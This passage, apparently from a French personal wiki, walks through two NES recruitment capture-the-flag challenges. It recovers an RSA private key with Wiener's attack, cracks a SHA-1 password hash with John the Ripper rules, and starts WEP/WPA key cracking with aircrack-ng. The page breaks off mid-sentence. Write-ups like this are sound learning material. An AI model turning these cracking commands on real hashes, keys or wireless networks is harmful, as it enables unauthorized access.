=====Numéro 1===== Étant abonné à la revue [[http://www.miscmag.com/|MISC (Multi-System Internet Security Cookbook)]], je suis tombé sur une publicité amusante. {{:curiosite:challenge:nes:img_20170101_134055.jpg?600|Pub NES}} Désolé, l'image étant l'arrière du magasine, j'ai eu beaucoup de mal à prendre une photo impeccablement droite et le QRCode n'est pas lisible. Cependant, il est le suivant : Trouvez la solution du challenge QR Code NES pour nous contacter. étape1/4: 6XRhcGUgMi80OgotLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLQpNSUlCSHpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVF3QU1JSUJCd0tCZ1FDTk9nOWdlL0lGbWd5NWk5N2hmZDdxCnFKaXZZNkdDWlhXSmlGUDhBSFVLQ2owV1kwSFhyczJJbnBqSTQxV0M0RmNGc0dNTkRmOWJkTFZIcUJMWng1RlIKTHFHSmZvQmh0WUYzajJpK1YzcDBuTzN3SU91ZXZlanhuSHZ5aFNoUGthSzhQcVRLdVdFcDdQWkFuQmIyVWVsaQpsdWVJUFhWeGFaN1pwcDNnQWxMMGZRS0JnSFkzM1hQZUh3WWFOWWlOVG9pR0cvUWhpMzhTZC9EOElHYTNkQmdtCk1ReTh6VndBNEJGOXJDc0ZYbThCQm1sb1hUTTdUUjhYTEUrdnlsaGhBTk9VK1MzeUx4aHVBTHEvUXQxZzZlUHEKclNlclBMbEV1U1FMOUgrWHVQb0ZJRk5NVEdyZmUzWm5ZZ2YvME9pVENCMG5ya0tBZXM2M25GSmplN3BSUDJMdgpNRll6Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQotLS0tLUJFR0lOIEVOQ1JZUFRFRCBNRVNTQUdFLS0tLS0KWDlIY1RSMWVhVGpIR0lxZUVYUWJDZ2ljKytGVisxNlhuUCt1T0UyMFhTdXVTQ0pBa3pibm1LSlQ1T2d2RXBGOEtVYnFlVVNpMk04bwoxVEs2bXNLWnY5SXJpbG0wd2YrSUcwYmlIeVBDUDBpaGdHL3p4d2NjUEdDVWczYjdhMzF4dExta2I5NkpEaTR4YUdCTjYzZHF6WTZpCkFTYVVQZnNqUnJsRXhzLzlNRFk9Ci0tLS0tRU5EIEVOQ1JZUFRFRCBNRVNTQUdFLS0tLS0= Là, il s'agit d'un simple encodage en base 64 avec un encodage interne de type Windows-1252. [[https://www.base64decode.org/|Base64 Decode]] s'en occupe tout seul. J'avoue que j'ai été franchement déçu par cette étape très simple mais c'était juste un simple avant goût pour la suite. étape 2/4: -----BEGIN PUBLIC KEY----- MIIBHzANBgkqhkiG9w0BAQEFAAOCAQwAMIIBBwKBgQCNOg9ge/IFmgy5i97hfd7q qJivY6GCZXWJiFP8AHUKCj0WY0HXrs2InpjI41WC4FcFsGMNDf9bdLVHqBLZx5FR LqGJfoBhtYF3j2i+V3p0nO3wIOuevejxnHvyhShPkaK8PqTKuWEp7PZAnBb2Ueli lueIPXVxaZ7Zpp3gAlL0fQKBgHY33XPeHwYaNYiNToiGG/Qhi38Sd/D8IGa3dBgm MQy8zVwA4BF9rCsFXm8BBmloXTM7TR8XLE+vylhhANOU+S3yLxhuALq/Qt1g6ePq rSerPLlEuSQL9H+XuPoFIFNMTGrfe3ZnYgf/0OiTCB0nrkKAes63nFJje7pRP2Lv MFYz -----END PUBLIC KEY----- -----BEGIN ENCRYPTED MESSAGE----- X9HcTR1eaTjHGIqeEXQbCgic++FV+16XnP+uOE20XSuuSCJAkzbnmKJT5OgvEpF8KUbqeUSi2M8o 1TK6msKZv9Irilm0wf+IG0biHyPCP0ihgG/zxwccPGCUg3b7a31xtLmkb96JDi4xaGBN63dqzY6i ASaUPfsjRrlExs/9MDY= -----END ENCRYPTED MESSAGE----- Et là, c'est direct dans ma face pour souligner [[http://www.knarfworld.net|ma médiocrité]]. ''BEGIN PUBLIC KEY'' est la définition d'une clé public selon l'algorithme ''X.509''. J'ai vaguement pu m'amuser avec via la commande : > ssh-keygen -i -m PKCS8 -f key.asc ssh-rsa AAAAB3NzaC1yc2EAAACAdjfdc94fBho1iI1OiIYb9CGLfxJ38PwgZrd0GCYxDLzNXADgEX2sKwVebwEGaWhdMztNHxcsT6/KWGEA05T5LfIvGG4Aur9C3WDp4+qtJ6s8uUS5JAv0f5e4+gUgU0xMat97dmdiB//Q6JMIHSeuQoB6zrecUmN7ulE/Yu8wVjMAAACBAI06D2B78gWaDLmL3uF93uqomK9joYJldYmIU/wAdQoKPRZjQdeuzYiemMjjVYLgVwWwYw0N/1t0tUeoEtnHkVEuoYl+gGG1gXePaL5XenSc7fAg65696PGce/KFKE+Rorw+pMq5YSns9kCcFvZR6WKW54g9dXFpntmmneACUvR9 On voit donc que c'est du ''RSA'' On cherche donc à afficher le module et l'exposant de la clé > openssl rsa -pubin -text -noout -modulus < key.asc Public-Key: (1024 bit) Modulus: 00:8d:3a:0f:60:7b:f2:05:9a:0c:b9:8b:de:e1:7d: de:ea:a8:98:af:63:a1:82:65:75:89:88:53:fc:00: 75:0a:0a:3d:16:63:41:d7:ae:cd:88:9e:98:c8:e3: 55:82:e0:57:05:b0:63:0d:0d:ff:5b:74:b5:47:a8: 12:d9:c7:91:51:2e:a1:89:7e:80:61:b5:81:77:8f: 68:be:57:7a:74:9c:ed:f0:20:eb:9e:bd:e8:f1:9c: 7b:f2:85:28:4f:91:a2:bc:3e:a4:ca:b9:61:29:ec: f6:40:9c:16:f6:51:e9:62:96:e7:88:3d:75:71:69: 9e:d9:a6:9d:e0:02:52:f4:7d Exponent: 76:37:dd:73:de:1f:06:1a:35:88:8d:4e:88:86:1b: f4:21:8b:7f:12:77:f0:fc:20:66:b7:74:18:26:31: 0c:bc:cd:5c:00:e0:11:7d:ac:2b:05:5e:6f:01:06: 69:68:5d:33:3b:4d:1f:17:2c:4f:af:ca:58:61:00: d3:94:f9:2d:f2:2f:18:6e:00:ba:bf:42:dd:60:e9: e3:ea:ad:27:ab:3c:b9:44:b9:24:0b:f4:7f:97:b8: fa:05:20:53:4c:4c:6a:df:7b:76:67:62:07:ff:d0: e8:93:08:1d:27:ae:42:80:7a:ce:b7:9c:52:63:7b: ba:51:3f:62:ef:30:56:33 Modulus=8D3A0F607BF2059A0CB98BDEE17DDEEAA898AF63A1826575898853FC00750A0A3D166341D7AECD889E98C8E35582E05705B0630D0DFF5B74B547A812D9C791512EA1897E8061B581778F68BE577A749CEDF020EB9EBDE8F19C7BF285284F91A2BC3EA4CAB96129ECF6409C16F651E96296E7883D7571699ED9A69DE00252F47D ou Exponent = 7637dd73de1f061a35888d4e88861bf4218b7f1277f0fc2066b7741826310cbccd5c00e0117dac2b055e6f010669685d333b4d1f172c4fafca586100d394f92df22f186e00babf42dd60e9e3eaad27ab3cb944b9240bf47f97b8fa0520534c4c6adf7b76676207ffd0e893081d27ae42807aceb79c52637bba513f62ef305633 = 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891 modulus = 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469 [[https://www.mobilefish.com/services/big_number/big_number.php|Conversion des nombres hexadécimaux en décimaux]] Pour obtenir la clé privée, il faut décomposer le module et chercher son fameux produit ([[https://fr.wikipedia.org/wiki/Attaque_de_Wiener|Attaque de Wiener]]). Pour résoudre cette attaque, on peut utiliser [[https://github.com/orisano/owiener|oWiener]] [[https://github.com/bansan85/owiener|Archive]] curl -O https://raw.githubusercontent.com/orisano/owiener/master/owiener.py import owiener e = 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891 n = 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469 d = owiener.attack(e, n) if d is None: print("Failed") else: print("Hacked d={}".format(d)) avec ''e'' l'exposant et ''n'' le module. Son exécution avec Python donne : Hacked d=11394715239750551400147406032726894583098881501560698843761325450881137048891 Et maintenant, on crée notre clé privée avec [[https://github.com/ius/rsatool|rsatool]] [[https://github.com/bansan85/rsatool|Archive]] Et on exécute avec le ''n'' et le ''d'' précédent : > python rsatool.py -d 11394715239750551400147406032726894583098881501560698843761325450881137048891 -e 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891 -n 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469 -o nes_privkey Using (n, d) to initialise RSA instance n = 8d3a0f607bf2059a0cb98bdee17ddeeaa898af63a1826575898853fc00750a0a3d166341d7aecd88 9e98c8e35582e05705b0630d0dff5b74b547a812d9c791512ea1897e8061b581778f68be577a749c edf020eb9ebde8f19c7bf285284f91a2bc3ea4cab96129ecf6409c16f651e96296e7883d7571699e d9a69de00252f47d e = 7637dd73de1f061a35888d4e88861bf4218b7f1277f0fc2066b7741826310cbccd5c00e0117dac2b 055e6f010669685d333b4d1f172c4fafca586100d394f92df22f186e00babf42dd60e9e3eaad27ab 3cb944b9240bf47f97b8fa0520534c4c6adf7b76676207ffd0e893081d27ae42807aceb79c52637b ba513f62ef305633 d = 19312e2686b1665b4be8bfa1a9daf7aeafa3f30be9e77c515d7c9a188d26fd3b p = 92e90f85dae93da2c25ead4557e1dd7af9485c321a20d67081c3399357d160c4612a021043059bd6 ef4116b56eac9326eb534bad6a33e6a79a046f3a99428ecd q = f6189370867444da192309146b88ecda93293d794afebc2d4537e4d0496c03edfd8ad13ddeaef3d0 4bed8f9583dc638342a68e8443826746e58cd3adf6a19c71 Saving PEM as nes_privkey Puis on décode le message openssl rsautl -decrypt -in <(base64 -d etape_2_cipher) -inkey nes_privkey avec etape_2_cipher un fichier qui contient X9HcTR1eaTjHGIqeEXQbCgic++FV+16XnP+uOE20XSuuSCJAkzbnmKJT5OgvEpF8KUbqeUSi2M8o1TK6msKZv9Irilm0wf+IG0biHyPCP0ihgG/zxwccPGCUg3b7a31xtLmkb96JDi4xaGBN63dqzY6iASaUPfsjRrlExs/9MDY= Résultat : étape3/4: égncr4/4: raibvr abhf ha znvy à: punyyratr.DE-pbqr_001@arf.se Puis avec un rotation de 13 caractères : égncr3/4: étape4/4: envoie nous un mail à: challenge.QR-code_001@nes.fr Un document qui peut-être pourrait aider : [[http://www.enib.fr/~harrouet/Data/Courses/Chiffrement_Authentification.pdf|Chiffrement et authentification]], {{ :curiosite:challenge:nes:chiffrement_authentification.pdf |Archive}} Un énorme merci à [[https://www.notfound.ovh|notfound]] pour m'avoir donné la solution à ce challenge ma fois plutôt intéressant. =====Numéro 2===== Ils ont recommencé ça avec le magasine de Juin 2017. ====La pub==== {{:curiosite:challenge:nes:img_20170620_231016.jpg?600|Challenge 2}} ====Le scan==== Cette fois l'image permet un scan avec un téléphone Android et l'appli (par exemple) [[https://play.google.com/store/apps/details?id=com.google.zxing.client.android|Barcode Scanner]]. T2JhYXIgcHVuYXByICEKdWdnYzovL292Zy55bC8xcWlZRkZFCnVnZ2M6Ly9vdmcueWwvMmFqZnI5bAp1Z2djOi8vb3ZnLnlsLzE4ZXBiQlI= ====Le scan décodé==== Le résultat est (merci [[https://www.base64decode.org/|base64decode]]) : Obaar punapr ! uggc://ovg.yl/1qiYFFE uggc://ovg.yl/2ajfr9l uggc://ovg.yl/18epbBR ====Le chiffre de César==== On repère facilement en première ligne les ''http:''. Entre le ''h'' et le ''u'', il y a 13 lettres. C'est le chiffre de César qui permet un décalage en +13 ou -13 pour chiffrer / déchiffrer. Là encore, il y a des sites internet qui le font très bien [[http://www.nymphomath.ch/crypto/cesar/index.html|Chiffre de César]] {{ :curiosite:challenge:nes:chiffre_de_cesar_2020-04-26_11_16_12_pm_.html |Archive du 2015 le 26/04/2020}} Résultat : Bonne chance ! http://bit.ly/1dvLSSR http://bit.ly/2nwse9y http://bit.ly/18rcoOE Analyse des liens : - http://bit.ly/1dvLSSR => https://www.youtube.com/watch?v=kxopViU98Xo (Epic sax guy 10 hours). Je ne suis pas sûr de tenir les 10 heures ^^. - http://bit.ly/2nwse9y => http://pastebin.fr/49604 (C'est le lien qui nous intéresse) - http://bit.ly/18rcoOE => http://www.nyan.cat/ On s'amuse bien chez NES ;) ====Le challenge==== Voici le challenge NES n°2. Bonne chance à tous. https://www.nes.fr/challenge/CHALL_NES2 https://www.nes.fr/challenge/CHALL_NES2.sig https://www.nes.fr/challenge/CHALL_NES2.sha256.sum Miroirs pour l'archive du challenge NES N°2 http://jheberg.net/captcha/chall-nes2-2/ https://mega.nz/#!0Vo3xIwS L'adresse mail vous permettant de postuler chez NES se cache dans la solution du challenge Cordialement, NES Conseil https://www.nes.fr f298b804d367657136375671a46aefbebee65d652b5c2978bb50b1a89eb7ca79 CHALL_NES2 (SHA 256) -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.17 (MingW32) Comment: Gnu Privacy Tools Comment: Download at http://www.gnupt.de iQEcBAABAgAGBQJY0TVBAAoJEC8gM8yxa5hMRFIH/3hjFwugcxqlwvybHVuvh8x0 fXppnF7n6/TJkl/Q1V8G0xp6e0Kwdf9/aNx4JHN+teec67Ev4XkLUgqiS71mD2Vr rCyW1jSeiZ8ZWMemVWla6njBplZ1VQT/32e4uALdbw3667zW9YgS3UBSSQLZVisS D8IkSynVVmQXuQlZqNDzXvV3b7krc5LUJdbKUu3am5gtRnF5YfM6BjVtMZgjVe3u 3yj6HYCyalLEByU2FtpHg01eT5aUnLGSGA/Bwn9/wwbRE+OzUxvbOSxSVAfI5Fyj ZWPcfuTWApLdSu5eycPLIumQL/dodXD2FGiNpovl1AgWRq2SpnC0yHTQn/nuUas= =8b9k -----END PGP SIGNATURE----- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v2.0.17 (MingW32) Comment: Gnu Privacy Tools Comment: Download at http://www.gnupt.de mQENBFjP9BABCAC86m5BhFGg4Yy1Jbt/56CPI8yJ7FYxx1uAVXtXiOYzuoJM81O9 exfc/Ep+5QYggy2i7dAN5GlgHA8M2Cgz1PiPpXZLoi1GfyOVJQGbs1coT5rSmXhQ j/xvBb8GpaegsDAl0EPa6hRpcrdFXJwwgJIeRS6nLGnoyK7aEsutf/Wfi0A5rHll H+ZtiI1NFs0x8iIaO9/Evrlb2RtxXj6e4x3LIQF1fbR5sXaZ6wF+LFO1l5nmfXZV JKflvDLR53/VrHYe7wwx5HqZZRyT4ttihcgcbp+NnN+c2ziDBZdZ451NWBE6HBJa jLDDk2Wk1QIV/LWXGvA45GxJv9UJa15bDomrABEBAAG0I1FSY2hhbGxlbmdlX25l czIgPGNoYWxsZW5nZUBuZXMuZnI+iQE4BBMBAgAiBQJYz/QQAhsDBgsJCAcDAgYV CAIJCgsEFgIDAQIeAQIXgAAKCRAvIDPMsWuYTOucB/9he1fmPtiOKQgfwBWfNYiy 3lkR/RUUpWHc8RIs4SCHzFNEyZZvW32Q4dfbnNER2yo1O5ORAmgIekBJ7dmuC71H A5+3DpJqJy7dpiEMHoEQiYAd1z3rjxCnfvNFDIZpEMyfVWGiR1+2Jd4hEx9qF1c6 w+Xhr5XzbkFvUK1wNty3Eauq1GgEq/REc5tLvLckP+Bptju7k2mojx8i/K162pKo xHRIr9g/SPdKz0SP/zxhhbIr9YOR5hqmoNrCkKSFjG+cwDKOyquVc6tBr0JfhG1C dqCKO4qtSwLb0xFQmG2Thi483cQBWfWkQBPz91d4tmfJYVlN0jMu2MFdMTXUoSP2 uQENBFjP9BABCAC7t73ofU3uY4x5ygAXVvylbvTRJZxD8SzSjgOkecs5/Z0gaSut vHu58E9en63LG7XeYVTJjT3odm36C336NPjexHmf+qRCApfjuFELbWMnvDyGfCr2 ULwyJugWjlNBmkFyiIaKUFhRMctIbDbVATVPq7V+tI3y0yyhuc+y8ym9FoJNOC/p xsmT8Wd5u2whrTgqN3gesXjEgt8ey3Lqrzt4I+KPe76pNlArb+mBCsBIa0fwt9a0 OxxgElj7OOd4CRZKvpjCtADpa+g8aZz2rO9I7MCOWKhbHfiIGWeD6P51TmzVqEXh QzH1TlFnotZWM2jUMgcxqY2GjjLPx35o29Z/ABEBAAGJAR8EGAECAAkFAljP9BAC GwwACgkQLyAzzLFrmEzomAf+Ih6SawVkgb5Y+WmauvcCg950tKpqraRiMVrmr0fm E+hzxYmLY8joYj1k/7UmtxVl2UeaiH8ztfp7RrQyUKcsZmDpzp4j6mikA0PQOVKk hIAe2QxhGusqLVqH3h2HUO9JXG7BvYEKOur7PGJlwDIe1TuAQlURdgFLBQHuHxIl fEa61GP4JmEJiH6HKe5E3znw2s2xxhELJSgJUMsavUK7u61Ab+Yx3lARi9UYw33W wRhzPyNSzG/x+j6upaG5W1nWaosYCGlblWZ9OGm8t1FGsTjnpAD2a/3xHJ8xvL6U +Qt0wk7HmnF+amYHgS/Udws5jhscj67ozt3etFRehm8fDw== =Q4EP -----END PGP PUBLIC KEY BLOCK----- ====Les archives==== {{ :curiosite:challenge:nes:chall_nes2.zip |Archive du challenge}} ====Analyse récursive==== Un ''sha256sum -c CHALL_NES2.sha256.sum'' permet de vérifier que la signature est bonne. CHALL_NES2: Réussi Le fichier fournit est une archive qui contient une archive qui contient une archive qui …. file CHALL_NES2 CHALL_NES2: Zip archive data, at least v1.0 to extract unzip CHALL_NES2 extracting: CHALL_NES2 file CHALL_NES2 CHALL_NES2: XZ compressed data mv CHALL_NES2 CHALL_NES2.xz xz -d CHALL_NES2.xz file CHALL_NES2 CHALL_NES2: Microsoft Cabinet archive data, 1131532 bytes, 1 file mv CHALL_NES2 CHALL_NES2.cab cabextract CHALL_NES2.cab Extracting cabinet: CHALL_NES2.cab extracting CHALL_NES2 All done, no errors. file CHALL_NES2 CHALL_NES2: Zip archive data, at least v2.0 to extract unzip CHALL_NES2 Archive: CHALL_NES2 inflating: NES_CHALL2 file NES_CHALL2 NES_CHALL2: gzip compressed data, last modified: Mon Mar 20 15:48:19 2017, from Unix mv NES_CHALL2 NES_CHALL2.tar.gz tar -xvzf NES_CHALL2.tar.gz file NES_CHALL2 data Il faut ici utiliser une autre technique pour extraire les premières informations utiles du fichier. ([[https://superuser.com/questions/411214/what-could-cause-the-file-command-in-linux-to-report-a-text-file-as-data|bash - What could cause the file command in Linux to report a text file as data_ - Super User]] {{ :curiosite:challenge:nes:bash_-_what_could_cause_the_file_command_in_linux_to_report_a_text_file_as_data_-_super_user_2020-04-26_11_18_59_pm_.html |Archive du 11/04/2012 le 26/04/2020}} head -n 1 NES_CHALL2 Résultat : BEA01NSR02TEA01C2� NES_CHALL220101122OSTA Compressed UnicodeOSTA Compressed Unicodek En cherchant, je suis tombé sur la page [[http://wiki.osdev.org/UDF|UDF - OSDev Wiki]] {{ :curiosite:challenge:nes:udf_-_osdev_wiki_2020-04-26_11_20_13_pm_.html |Archive du 03/07/2014 le 26/04/2020}} qui dit que ''BEA01 : Denotes the beginning of the extended descriptor section.'' C'est donc une partition ''UDF''. Il suffit donc de la monter avec la commande ([[https://ubuntuforums.org/showthread.php?t=1581471|Mount UDF ISO]] {{ :curiosite:challenge:nes:solved_mount_udf_iso_2020-04-26_11_20_19_pm_.html |Archive du 25/09/2010 le 26/04/2020}}) : sudo mount -t udf -o loop,ro,unhide,uid=$(id -u) NES_CHALL2 dossier On obtient enfin les challenges à résoudre : . ├── 01 │   ├── john.rules │   ├── readme.txt │   ├── sniff01.pcapng.gz │   └── wl_fr_nes.7z ├── 02 │   ├── readme.txt │   ├── sniff02.pcapng.gz │   ├── sniff02_readme.txt │   └── sniff03.pcapng.gz ├── 03 │   ├── crack_me.exe │   └── readme.txt └── 04 ├── arch04.7z ├── pub_key.asc └── readme.txt {{ :curiosite:challenge:nes:challenge2.zip |Challenge décompressé}} ====Cas 1==== Commençons par ouvrir ''sniff01.pcapng.gz'' avec ''WireShark''. {{:curiosite:challenge:nes:sniff01.pcapng.png|Wireshark cas 1}} On voit qu'il y a l'envoi d'une image au format PNG découpé en plusieurs trames ''TCP''. Pour récupérer l'image, il faut sélectionner la dernière ligne qui contient l'image PNG. Dans ce cas, il apparait un onglet ''Reassembled TCP''. Faire un clic droit sur la ligne ''Portable Network Protocol'' et l'exporter dans un fichier. {{:curiosite:challenge:nes:sniff01.png|Image PNG de la trame}} {{:curiosite:challenge:nes:sniff01.pcapng-2.png|Wireshark 2 cas 1}} En l'ouvrant avec Gimp, petits messages d'avertissement sur l'image. {{:curiosite:challenge:nes:sniff01_gimp.png|sniff01 sous Gimp}} On voit que l'image est composée de couleur en niveau de gris. Les 16 valeurs de gris sont : ''69 88 73 70 32 69 83 84 32 84 79 78 32 65 77 73'' soit en caractère ASCII : ''EXIF EST TON AMI'' exiftool sniff01.png ExifTool Version Number : 10.55 File Name : img.png Directory : . File Size : 3.9 kB File Modification Date/Time : 2017:06:22 22:58:29+02:00 File Access Date/Time : 2017:06:22 23:23:34+02:00 File Inode Change Date/Time : 2017:06:22 22:58:29+02:00 File Permissions : rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 16 Image Height : 1 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Exif Byte Order : Little-endian (Intel, II) Image Description : Belle image ! Make : CANON & NIKON Camera Model Name : T'es CANON alors NIKON Artist : NES Conseil Copyright : 2017 Date/Time Original : 1970:01:01 00:00:00 User Comment : épreuve de stégano GPS Version ID : 2.2.0.0 GPS Latitude Ref : North GPS Longitude Ref : West GPS Altitude Ref : Above Sea Level GPS Map Datum : WGS-84 Thumbnail Offset : 442 Thumbnail Length : 713 Copyright Notice : NES Conseil Keywords : {NES_challenge_token}:7114C77C4950447E9B17348B7C789F0D64142262 Source : https://www.nes.fr/ Pixels Per Unit X : 39 Pixels Per Unit Y : 39 Pixel Units : meters Profile Name : Photoshop ICC profile Profile CMM Type : Lino Profile Version : 2.1.0 Profile Class : Display Device Profile Color Space Data : RGB Profile Connection Space : XYZ Profile Date Time : 1998:02:09 06:49:00 Profile File Signature : acsp Primary Platform : Microsoft Corporation CMM Flags : Not Embedded, Independent Device Manufacturer : IEC Device Model : sRGB Device Attributes : Reflective, Glossy, Positive, Color Rendering Intent : Media-Relative Colorimetric Connection Space Illuminant : 0.9642 1 0.82491 Profile Creator : HP Profile ID : 0 Profile Copyright : Copyright (c) 1998 Hewlett-Packard Company Profile Description : sRGB IEC61966-2.1 Media White Point : 0.95045 1 1.08905 Media Black Point : 0 0 0 Red Matrix Column : 0.43607 0.22249 0.01392 Green Matrix Column : 0.38515 0.71687 0.09708 Blue Matrix Column : 0.14307 0.06061 0.7141 Device Mfg Desc : IEC http://www.iec.ch Device Model Desc : IEC 61966-2.1 Default RGB colour space - sRGB Viewing Cond Desc : Reference Viewing Condition in IEC61966-2.1 Viewing Cond Illuminant : 19.6445 20.3718 16.8089 Viewing Cond Surround : 3.92889 4.07439 3.36179 Viewing Cond Illuminant Type : D50 Luminance : 76.03647 80 87.12462 Measurement Observer : CIE 1931 Measurement Backing : 0 0 0 Measurement Geometry : Unknown Measurement Flare : 0.999% Measurement Illuminant : D65 Technology : Cathode Ray Tube Display Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) White Point X : 0.31269 White Point Y : 0.32899 Red X : 0.63999 Red Y : 0.33001 Green X : 0.3 Green Y : 0.6 Blue X : 0.15 Blue Y : 0.05999 GPS Altitude : 10 m Above Sea Level GPS Latitude : 39 deg 6' 37.30" N GPS Longitude : 76 deg 45' 56.10" W GPS Position : 39 deg 6' 37.30" N, 76 deg 45' 56.10" W Image Size : 16x1 Megapixels : 0.000016 Thumbnail Image : (Binary data 713 bytes, use -b option to extract) Qu'est-ce qu'on y voit ? Une blague potache Image Description : Belle image ! Make : CANON & NIKON Camera Model Name : T'es CANON alors NIKON L'autre de l'image et pourquoi Artist : NES Conseil User Comment : épreuve de stégano La clé à analyser Copyright Notice : NES Conseil Keywords : {NES_challenge_token}:7114C77C4950447E9B17348B7C789F0D64142262 Source : https://www.nes.fr/ Des coordonnées GPS GPS Altitude : 10 m Above Sea Level GPS Latitude : 39 deg 6' 37.30" N GPS Longitude : 76 deg 45' 56.10" W GPS Position : 39 deg 6' 37.30" N, 76 deg 45' 56.10" W [[https://www.google.com/maps/@39.1134309,-77.0290406|Google Maps]]. J'avoue ne pas avoir trouvé la référence. La clé correspond à un hachage. Le mot de passe est dans l'archive ''wl_fr_nes.7z'' avec une modification à appliquer conformément à la règle de ''JohnTheRipper'' : >12 <13 lcse3sE3sé3sè3 Ce qui signifie : Un mot d'au moins 12 caractères et d'au maximum 13 caractères. ''l'' signifie ''convert to lowercase'', ''c'' : ''capitalize'', ''se3'' : remplace les e par des 3, ''sE3sé3sè3'' : remplace les E, é et è par des 3 ([[http://www.openwall.com/john/doc/RULES.shtml|John the Ripper - wordlist rules syntax]] {{ :curiosite:challenge:nes:john_the_ripper_-_wordlist_rules_syntax_2020-04-26_11_22_31_pm_.html |Archive du 14/05/2017 le 26/04/2020}}). Copier la règle dans le fichier ''/etc/john/john.conf''. Copier le hash (''7114C77C4950447E9B17348B7C789F0D64142262'') dans le fichier ''hash''. Et lancer la commande : sudo bash -c "cat john.rules >> /etc/john/john.conf" /usr/sbin/john -w=wl_fr.txt --rules=NesSpecialRules_french hash Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-linkedin" Use the "--format=raw-sha1-linkedin" option to force loading these as that type instead Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha" Use the "--format=raw-sha" option to force loading these as that type instead Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-ng" Use the "--format=raw-sha1-ng" option to force loading these as that type instead Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-opencl" Use the "--format=raw-sha1-opencl" option to force loading these as that type instead Loaded 1 password hash (Raw SHA-1 [128/128 AVX intrinsics 4x]) Invalid rule in /etc/john/john.conf at line 1620: Unallowed command Là, j'ai pas vraiment trouvé. En fait, c'est à cause du fait que > et < marchent avec ma version qu'avec un chiffre et pas un nombre. J'ai remplacé ''>12 <13'' par ''>9'' et j'ai utilisé le format ''raw-sha1-opencl'' car j'ai une bonne carte graphique. /usr/sbin/john -w=wl_fr.txt --format=raw-sha1-opencl --rules=NesSpecialRules_french hash OpenCL platform 0: NVIDIA CUDA, 1 device(s). Using device 0: GeForce GTX 660 Ti Local work size (LWS) 64, Global work size (GWS) 2097152 Loaded 1 password hash (Raw SHA-1 [OpenCL (inefficient, development use only)]) Cyb3rs3curit3 (?) guesses: 1 time: 0:00:00:01 DONE (Fri Jun 23 00:09:58 2017) c/s: 189721 trying: Abaissabl3 - Zymotiqu3s Use the "--show" option to display all of the cracked passwords reliably Le mot de passe est donc ''Cyb3rs3curit3''. ====Cas 2==== ===Sniff02=== Là, l'objectif est de cracker une clé WEP. Il faut commencer à avoir un fichier au format ''pcap''. Ouvrir le fichier ''sniff02.pcapng'' avec Wireshark et l'enregistrer au format ''pcap''. Le ''bssid'' (''90:F6:52:7F:A5:CD'') se lit dans les données ''IEEE'', ''Destination address'' : {{:curiosite:challenge:nes:sniff02-1.png|BSSID depuis Wireshark}} J'ai alors tenté 5 façons différentes : * La méthode classique ([[http://torustech.blogspot.com/2012/06/wep-and-wpa-cracking-made-easy.html|Toru's Tech_ WEP and WPA Cracking made easy]] {{ :curiosite:challenge:nes:toru_s_tech_wep_and_wpa_cracking_made_easy_2020-04-28_10_30_05_pm_.html |Archive du 02/06/2012 le 28/04/2020}} aircrack-ng -b 90:F6:52:7F:A5:CD sniff02.pcap Failed. Next try with 5000 IVs. J'aurais dû m'y attendre, le SSID changeant et écrivant au fur et à mesure : ''WEP IS SECURE IF YOU DONT HAVE ENOUGH IVs'' * La méthode force brute aircrack-ng -K -b 90:F6:52:7F:A5:CD sniff02.pcap C'est long 242^12 possibilités… * La méthode chanceuse : C'est la même solution que dans le cas 1 avec john the ripper (en enlevant la condition de longueur de la clé) /usr/sbin/john --wordlist=../01/wl_fr_nes/wl_fr.txt --rules=NesSpecialRules_french --stdout | aircrack-ng -b 90:F6:52:7F:A5:CD -w - sniff02.pcap Sans succès. * La méthode chanceuse bis : le dictionnaire sans modification aircrack-ng -w ../01/wl_fr_nes/wl_fr.txt -b 90:F6:52:7F:A5:CD sniff02.pcap Sans succès. * La méthode JohnTheRipper /usr/sbin/john --incremental --stdout | aircrack-ng -b 90:F6:52:7F:A5:CD -w - sniff02.pcap C'est long… ===Sniff03=== Là, l'objectif est de cracker une clé WPA. Il faut commencer à avoir un fichier au format ''pcap''. Ouvrir le fichier ''sniff03.pcapng'' avec Wireshark et l'enregistrer au format ''pcap''. * La méthode dictionnaire aircrack-ng -w ../01/wl_fr_nes/wl_fr.txt -b 90:F6:52:7F:A5:CD sniff03.pcap A 200 clés par seconde, c'est bien long. ''John the ripper'' support le ''WPA/PSK'' en version ''OpenGL''. * La méthode ''John the ripper'' [[http://openwall.info/wiki/john/WPA-PSK|Cracking WPA-PSK_WPA2-PSK with John the Ripper [Openwall Community Wiki]]] {{ 